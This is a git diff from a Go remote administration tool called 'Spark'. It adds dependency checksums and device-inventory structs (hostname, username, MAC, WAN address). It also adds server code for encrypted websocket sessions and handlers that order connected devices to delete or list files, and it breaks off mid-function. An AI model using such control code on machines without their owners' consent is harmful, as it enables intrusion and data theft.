github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/denisbrodbeck/machineid v1.0.1 h1:geKr9qtkB876mXguW2X6TU4ZynleN6ezuMSRhl4D7AQ=
|
||||
github.com/denisbrodbeck/machineid v1.0.1/go.mod h1:dJUwb7PTidGDeYyUBmXZ2GphQBbjJCrnectwCyxcUSI=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
|
||||
github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
|
||||
github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
|
||||
github.com/gin-gonic/gin v1.7.7 h1:3DoBmSbJbZAWqXJC3SLjAPfutPJJRN1U5pALB7EeTTs=
|
||||
github.com/gin-gonic/gin v1.7.7/go.mod h1:axIBovoeJpVj8S3BwE0uPMTeReE4+AfFtqpqaZ1qq1U=
|
||||
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
|
||||
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
github.com/go-playground/assert/v2 v2.0.1 h1:MsBgLAaY856+nPRTKrp3/OZK38U/wa0CcBYNjji3q3A=
|
||||
github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
|
||||
github.com/go-playground/locales v0.13.0 h1:HyWk6mgj5qFqCT5fjGBuRArbVDfE4hi8+e8ceBS/t7Q=
|
||||
github.com/go-playground/locales v0.13.0/go.mod h1:taPMhCMXrRLJO55olJkUXHZBHCxTMfnGwq/HNwmWNS8=
|
||||
github.com/go-playground/universal-translator v0.17.0 h1:icxd5fm+REJzpZx7ZfpaD876Lmtgy7VtROAbHHXk8no=
|
||||
github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+Scu5vgOQjsIJAF8j9muTVoKLVtA=
|
||||
github.com/go-playground/validator/v10 v10.4.1 h1:pH2c5ADXtd66mxoE0Zm9SUhxE20r7aM3F26W0hOn+GE=
|
||||
github.com/go-playground/validator/v10 v10.4.1/go.mod h1:nlOn6nFhuKACm19sB/8EGNn9GlaMV7XkbRSipzJ0Ii4=
|
||||
github.com/golang/protobuf v1.3.3 h1:gyjaxf+svBWX08ZjK86iN9geUJF0H6gp2IRKX6Nf6/I=
|
||||
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
|
||||
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.7 h1:81/ik6ipDQS2aGcBfIN5dHDB36BwrStyeAQquSYCV4o=
|
||||
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
|
||||
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
|
||||
github.com/gorilla/websocket v1.5.0 h1:PPwGk2jz7EePpoHN/+ClbZu8SPxiqlu12wZP/3sWmnc=
|
||||
github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
github.com/hashicorp/errwrap v1.0.0 h1:hLrqtEDnRye3+sgx6z4qVLNuviH3MR5aQ0ykNJa/UYA=
|
||||
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
|
||||
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
|
||||
github.com/imroc/req/v3 v3.8.2 h1:wFZ7B0dclCQyjClP5GwXRboUGIek5l0mCpodrGgT01c=
|
||||
github.com/imroc/req/v3 v3.8.2/go.mod h1:3JIicOKEDHfCSYYNLb/ObZNpx64EV5y40VlHMwhUCzU=
|
||||
github.com/jezek/xgb v0.0.0-20210312150743-0e0f116e1240 h1:dy+DS31tGEGCsZzB45HmJJNHjur8GDgtRNX9U7HnSX4=
|
||||
github.com/jezek/xgb v0.0.0-20210312150743-0e0f116e1240/go.mod h1:3P4UH/k22rXyHIJD2w4h2XMqPX4Of/eySEZq9L6wqc4=
|
||||
github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
|
||||
github.com/json-iterator/go v1.1.12 h1:PV8peI4a0ysnczrg+LtxykD8LfKY9ML6u2jnxaEnrnM=
|
||||
github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo=
|
||||
github.com/kataras/golog v0.1.7 h1:0TY5tHn5L5DlRIikepcaRR/6oInIr9AiWsxzt0vvlBE=
|
||||
github.com/kataras/golog v0.1.7/go.mod h1:jOSQ+C5fUqsNSwurB/oAHq1IFSb0KI3l6GMa7xB6dZA=
|
||||
github.com/kataras/pio v0.0.10 h1:b0qtPUqOpM2O+bqa5wr2O6dN4cQNwSmFd6HQqgVae0g=
|
||||
github.com/kataras/pio v0.0.10/go.mod h1:gS3ui9xSD+lAUpbYnjOGiQyY7sUMJO+EHpiRzhtZ5no=
|
||||
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329 h1:qq2nCpSrXrmvDGRxW0ruW9BVEV1CN2a9YDOExdt+U0o=
|
||||
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329/go.mod h1:2VPVQDR4wO7KXHwP+DAypEy67rXf+okUx2zjgpCxZw4=
|
||||
github.com/leodido/go-urn v1.2.0 h1:hpXL4XnriNwQ/ABnpepYM/1vCLWNDfUNts8dX3xTG6Y=
|
||||
github.com/leodido/go-urn v1.2.0/go.mod h1:+8+nEpDfqqsY+g338gtMEUOtuK+4dEMhiQEgxpxOKII=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/mattn/go-isatty v0.0.12 h1:wuysRhFDzyxgEmMf5xjvJ2M9dZoWAXNNr5LSBS7uHXY=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/modern-go/reflect2 v1.0.2 h1:xBagoLtFs94CBntxluKeaWgTMpvLxC4ur3nMaC9Gz0M=
|
||||
github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw=
|
||||
github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
|
||||
github.com/rakyll/statik v0.1.7 h1:OF3QCZUuyPxuGEP7B4ypUa7sB/iHtqOTDYZXGM8KOdQ=
|
||||
github.com/rakyll/statik v0.1.7/go.mod h1:AlZONWzMtEnMs7W4e/1LURLiI49pIMmp6V9Unghqrcc=
|
||||
github.com/shirou/gopsutil/v3 v3.22.2 h1:wCrArWFkHYIdDxx/FSfF5RB4dpJYW6t7rcp3+zL8uks=
|
||||
github.com/shirou/gopsutil/v3 v3.22.2/go.mod h1:WapW1AOOPlHyXr+yOyw3uYx36enocrtSoSBy0L5vUHY=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=
|
||||
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/tklauser/go-sysconf v0.3.9 h1:JeUVdAOWhhxVcU6Eqr/ATFHgXk/mmiItdKeJPev3vTo=
|
||||
github.com/tklauser/go-sysconf v0.3.9/go.mod h1:11DU/5sG7UexIrp/O6g35hrWzu0JxlwQ3LSFUzyeuhs=
|
||||
github.com/tklauser/numcpus v0.3.0 h1:ILuRUQBtssgnxw0XXIjKUC56fgnOrFoQQ/4+DeU2biQ=
|
||||
github.com/tklauser/numcpus v0.3.0/go.mod h1:yFGUr7TUHQRAhyqBcEg0Ge34zDBAsIvJJcyE6boqnA8=
|
||||
github.com/ugorji/go v1.1.7 h1:/68gy2h+1mWMrwZFeD1kQialdSzAb432dtpeJ42ovdo=
|
||||
github.com/ugorji/go v1.1.7/go.mod h1:kZn38zHttfInRq0xu/PH0az30d+z6vm202qpg1oXVMw=
|
||||
github.com/ugorji/go/codec v1.1.7 h1:2SvQaVZ1ouYrrKKwoSk2pzd4A9evlKJb9oTL+OaLUSs=
|
||||
github.com/ugorji/go/codec v1.1.7/go.mod h1:Ax+UKWsSmolVDwsd+7N3ZtXu+yMGCf907BLYF3GoBXY=
|
||||
github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg=
|
||||
github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9 h1:psW17arqaxU48Z5kZ0CQnkZWQJsqcURM6tKiBApRjXI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
|
||||
golang.org/x/net v0.0.0-20220111093109-d55c255bac03 h1:0FB83qp0AzVJm+0wcIlauAjJ+tNdh7jLuacRYCIVv7s=
|
||||
golang.org/x/net v0.0.0-20220111093109-d55c255bac03/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
|
||||
golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210816074244-15123e1e1f71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20220111092808-5a964db01320 h1:0jf+tOCoZ3LyutmCOWpVni1chK4VfFLhRsDK7MhqGRY=
|
||||
golang.org/x/sys v0.0.0-20220111092808-5a964db01320/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
|
||||
golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4=
|
||||
golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.8 h1:obN1ZagJSUGI0Ek/LBmuj4SNLPfIny3KsKFopxRdj10=
|
||||
gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
29
modules/modules.go
Normal file
29
modules/modules.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package modules
|
||||
|
||||
type Packet struct {
|
||||
Code int `json:"code"`
|
||||
Act string `json:"act,omitempty"`
|
||||
Msg string `json:"msg,omitempty"`
|
||||
Data map[string]interface{} `json:"data,omitempty"`
|
||||
}
|
||||
|
||||
type CommonPack struct {
|
||||
Code int `json:"code"`
|
||||
Act string `json:"act,omitempty"`
|
||||
Msg string `json:"msg,omitempty"`
|
||||
Data interface{} `json:"data,omitempty"`
|
||||
}
|
||||
|
||||
type Device struct {
|
||||
ID string `json:"id"`
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
CPU string `json:"cpu"`
|
||||
LAN string `json:"lan"`
|
||||
WAN string `json:"wan"`
|
||||
Mac string `json:"mac"`
|
||||
Mem uint64 `json:"mem"`
|
||||
Uptime uint64 `json:"uptime"`
|
||||
Hostname string `json:"hostname"`
|
||||
Username string `json:"username"`
|
||||
}
|
BIN
screenshots/explorer.png
Normal file
BIN
screenshots/explorer.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 53 KiB |
BIN
screenshots/overview.png
Normal file
BIN
screenshots/overview.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 41 KiB |
BIN
screenshots/procmgr.png
Normal file
BIN
screenshots/procmgr.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 57 KiB |
BIN
screenshots/terminal.png
Normal file
BIN
screenshots/terminal.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 57 KiB |
140
server/common/common.go
Normal file
140
server/common/common.go
Normal file
@@ -0,0 +1,140 @@
|
||||
package common
|
||||
|
||||
import (
|
||||
"Spark/modules"
|
||||
"Spark/utils"
|
||||
"Spark/utils/cmap"
|
||||
"Spark/utils/melody"
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"net/http"
|
||||
"time"
|
||||
)
|
||||
|
||||
var Melody = melody.New()
|
||||
var Devices = cmap.New()
|
||||
var BuiltFS http.FileSystem
|
||||
|
||||
func SendPackUUID(pack modules.Packet, uuid string) bool {
|
||||
session, ok := Melody.GetSessionByUUID(uuid)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
return SendPack(pack, session)
|
||||
}
|
||||
|
||||
func SendPack(pack modules.Packet, session *melody.Session) bool {
|
||||
if session == nil {
|
||||
return false
|
||||
}
|
||||
data, err := utils.JSON.Marshal(pack)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
data, ok := Encrypt(data, session)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
err = session.WriteBinary(data)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
func Encrypt(data []byte, session *melody.Session) ([]byte, bool) {
|
||||
temp, ok := session.Get(`Secret`)
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
secret := temp.([]byte)
|
||||
dec, err := utils.Encrypt(data, secret)
|
||||
if err != nil {
|
||||
return nil, false
|
||||
}
|
||||
return dec, true
|
||||
}
|
||||
|
||||
func Decrypt(data []byte, session *melody.Session) ([]byte, bool) {
|
||||
temp, ok := session.Get(`Secret`)
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
secret := temp.([]byte)
|
||||
dec, err := utils.Decrypt(data, secret)
|
||||
if err != nil {
|
||||
return nil, false
|
||||
}
|
||||
return dec, true
|
||||
}
|
||||
|
||||
func WSHealthCheck(container *melody.Melody) {
|
||||
const MaxInterval = 90
|
||||
for now := range time.NewTicker(30 * time.Second).C {
|
||||
timestamp := now.Unix()
|
||||
// stores sessions to be disconnected
|
||||
queue := make([]*melody.Session, 0)
|
||||
container.IterSessions(func(uuid string, s *melody.Session) bool {
|
||||
val, ok := s.Get(`LastPack`)
|
||||
if !ok {
|
||||
queue = append(queue, s)
|
||||
return true
|
||||
}
|
||||
lastPack, ok := val.(int64)
|
||||
if !ok {
|
||||
queue = append(queue, s)
|
||||
return true
|
||||
}
|
||||
if timestamp-lastPack > MaxInterval {
|
||||
queue = append(queue, s)
|
||||
}
|
||||
return true
|
||||
})
|
||||
for i := 0; i < len(queue); i++ {
|
||||
queue[i].Close()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func CheckDevice(deviceID string) (string, bool) {
|
||||
connUUID := ``
|
||||
Devices.IterCb(func(uuid string, v interface{}) bool {
|
||||
device := v.(*modules.Device)
|
||||
if device.ID == deviceID {
|
||||
connUUID = uuid
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
return connUUID, len(connUUID) > 0
|
||||
}
|
||||
|
||||
func EncAES(data []byte, key []byte) ([]byte, error) {
|
||||
hash, _ := utils.GetMD5(data)
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
stream := cipher.NewCTR(block, hash)
|
||||
encBuffer := make([]byte, len(data))
|
||||
stream.XORKeyStream(encBuffer, data)
|
||||
return append(hash, encBuffer...), nil
|
||||
}
|
||||
|
||||
func DecAES(data []byte, key []byte) ([]byte, error) {
|
||||
// MD5[16 bytes] + Data[n bytes]
|
||||
dataLen := len(data)
|
||||
if dataLen <= 16 {
|
||||
return nil, utils.ErrEntityInvalid
|
||||
}
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
stream := cipher.NewCTR(block, data[:16])
|
||||
decBuffer := make([]byte, dataLen-16)
|
||||
stream.XORKeyStream(decBuffer, data[16:])
|
||||
hash, _ := utils.GetMD5(decBuffer)
|
||||
if !bytes.Equal(hash, data[:16]) {
|
||||
return nil, utils.ErrFailedVerification
|
||||
}
|
||||
return decBuffer[:dataLen-16], nil
|
||||
}
|
10
server/config/config.go
Normal file
10
server/config/config.go
Normal file
@@ -0,0 +1,10 @@
|
||||
package config
|
||||
|
||||
type Cfg struct {
|
||||
Listen string `json:"listen"`
|
||||
Salt string `json:"salt"`
|
||||
Auth map[string]string `json:"auth"`
|
||||
StdSalt []byte `json:"-"`
|
||||
}
|
||||
|
||||
var Config Cfg
|
16
server/embed/built/statik.go
Normal file
16
server/embed/built/statik.go
Normal file
@@ -0,0 +1,16 @@
|
||||
// Code generated by statik. DO NOT EDIT.
|
||||
|
||||
package built
|
||||
|
||||
import (
|
||||
"github.com/rakyll/statik/fs"
|
||||
)
|
||||
|
||||
|
||||
const Built = "built" // static asset namespace
|
||||
|
||||
func init() {
|
||||
data := "PK\x05\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
fs.RegisterWithNamespace("built", data)
|
||||
}
|
||||
|
16
server/embed/web/statik.go
Normal file
16
server/embed/web/statik.go
Normal file
File diff suppressed because one or more lines are too long
90
server/handler/event.go
Normal file
90
server/handler/event.go
Normal file
@@ -0,0 +1,90 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"Spark/modules"
|
||||
"Spark/utils/cmap"
|
||||
"Spark/utils/melody"
|
||||
"time"
|
||||
)
|
||||
|
||||
type event struct {
|
||||
connection string
|
||||
callback eventCb
|
||||
channel chan bool
|
||||
}
|
||||
type eventCb func(modules.Packet, *melody.Session)
|
||||
|
||||
var eventTable = cmap.New()
|
||||
|
||||
// evCaller 负责判断packet中的Callback字段,如果存在该字段,
|
||||
// 就会调用event中的函数,并在调用完成之后通过chan通知addOnceEvent调用方
|
||||
func evCaller(pack modules.Packet, session *melody.Session) {
|
||||
if pack.Data == nil {
|
||||
return
|
||||
}
|
||||
v, ok := pack.Data[`callback`]
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
trigger, ok := v.(string)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
v, ok = eventTable.Get(trigger)
|
||||
if !ok {
|
||||
return
|
||||
}
|
||||
ev := v.(*event)
|
||||
if session != nil && session.UUID != ev.connection {
|
||||
return
|
||||
}
|
||||
delete(pack.Data, `callback`)
|
||||
ev.callback(pack, session)
|
||||
if ev.channel != nil {
|
||||
defer close(ev.channel)
|
||||
select {
|
||||
case ev.channel <- true:
|
||||
default:
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// addEventOnce 会添加一个一次性的回调命令,client可以对事件成功与否进行回复
|
||||
// trigger一般是uuid,以此尽可能保证事件的独一无二
|
||||
func addEventOnce(fn eventCb, connUUID, trigger string, timeout time.Duration) bool {
|
||||
done := make(chan bool)
|
||||
ev := &event{
|
||||
connection: connUUID,
|
||||
callback: fn,
|
||||
channel: done,
|
||||
}
|
||||
eventTable.Set(trigger, ev)
|
||||
defer eventTable.Remove(trigger)
|
||||
select {
|
||||
case <-done:
|
||||
return true
|
||||
case <-time.After(timeout):
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// addEvent 会添加一个持续的回调命令,client可以对事件成功与否进行回复
|
||||
// trigger一般是uuid,以此尽可能保证事件的独一无二
|
||||
func addEvent(fn eventCb, connUUID, trigger string) {
|
||||
ev := &event{
|
||||
connection: connUUID,
|
||||
callback: fn,
|
||||
channel: nil,
|
||||
}
|
||||
eventTable.Set(trigger, ev)
|
||||
}
|
||||
|
||||
// removeEvent 会删除特定的回调命令
|
||||
func removeEvent(trigger string) {
|
||||
eventTable.Remove(trigger)
|
||||
}
|
||||
|
||||
// hasEvent returns if the event exists.
|
||||
func hasEvent(trigger string) bool {
|
||||
return eventTable.Has(trigger)
|
||||
}
|
269
server/handler/file.go
Normal file
269
server/handler/file.go
Normal file
@@ -0,0 +1,269 @@
|
||||
package handler
|
||||
|
||||
import (
|
||||
"Spark/modules"
|
||||
"Spark/server/common"
|
||||
"Spark/utils"
|
||||
"Spark/utils/melody"
|
||||
"fmt"
|
||||
"github.com/gin-gonic/gin"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// removeDeviceFile will try to get send a packet to
|
||||
// client and let it upload the file specified.
|
||||
func removeDeviceFile(ctx *gin.Context) {
|
||||
var form struct {
|
||||
Path string `json:"path" yaml:"path" form:"path" binding:"required"`
|
||||
Conn string `json:"uuid" yaml:"uuid" form:"uuid"`
|
||||
Device string `json:"device" yaml:"device" form:"device"`
|
||||
}
|
||||
if ctx.ShouldBind(&form) != nil || (len(form.Conn) == 0 && len(form.Device) == 0) {
|
||||
ctx.JSON(http.StatusBadRequest, modules.Packet{Code: -1, Msg: `参数不完整`})
|
||||
return
|
||||
}
|
||||
target := ``
|
||||
trigger := utils.GetStrUUID()
|
||||
if len(form.Conn) == 0 {
|
||||
ok := false
|
||||
target, ok = common.CheckDevice(form.Device)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
} else {
|
||||
target = form.Conn
|
||||
if !common.Devices.Has(target) {
|
||||
ctx.JSON(http.StatusBadGateway, modules.Packet{Code: 1, Msg: `未找到该设备`})
|
||||
return
|
||||
}
|
||||
}
|
||||
common.SendPackUUID(modules.Packet{Code: 0, Act: `removeFile`, Data: gin.H{`path`: form.Path, `event`: trigger}}, target)
|
||||
ok := addEventOnce(func(p modules.Packet, _ *melody.Session) {
|
||||
if p.Code != 0 {
|
||||
ctx.JSON(http.StatusInternalServerError, modules.Packet{Code: 1, Msg: p.Msg})
|
||||
} else {
|
||||
ctx.JSON(http.StatusOK, modules.Packet{Code: 0})
|
||||
}
|
||||
}, target, trigger, 5*time.Second)
|
||||
if !ok {
|
||||
ctx.JSON(http.StatusGatewayTimeout, modules.Packet{Code: 1, Msg: `响应超时`})
|
||||
}
|
||||
}
|
||||
|
||||
// listDeviceFiles will list files on remote client
|
||||
func listDeviceFiles(ctx *gin.Context) {
|
||||
var form struct {
|
||||
Path string `json:"path" yaml:"path" form:"path" binding:"required"`
|
||||
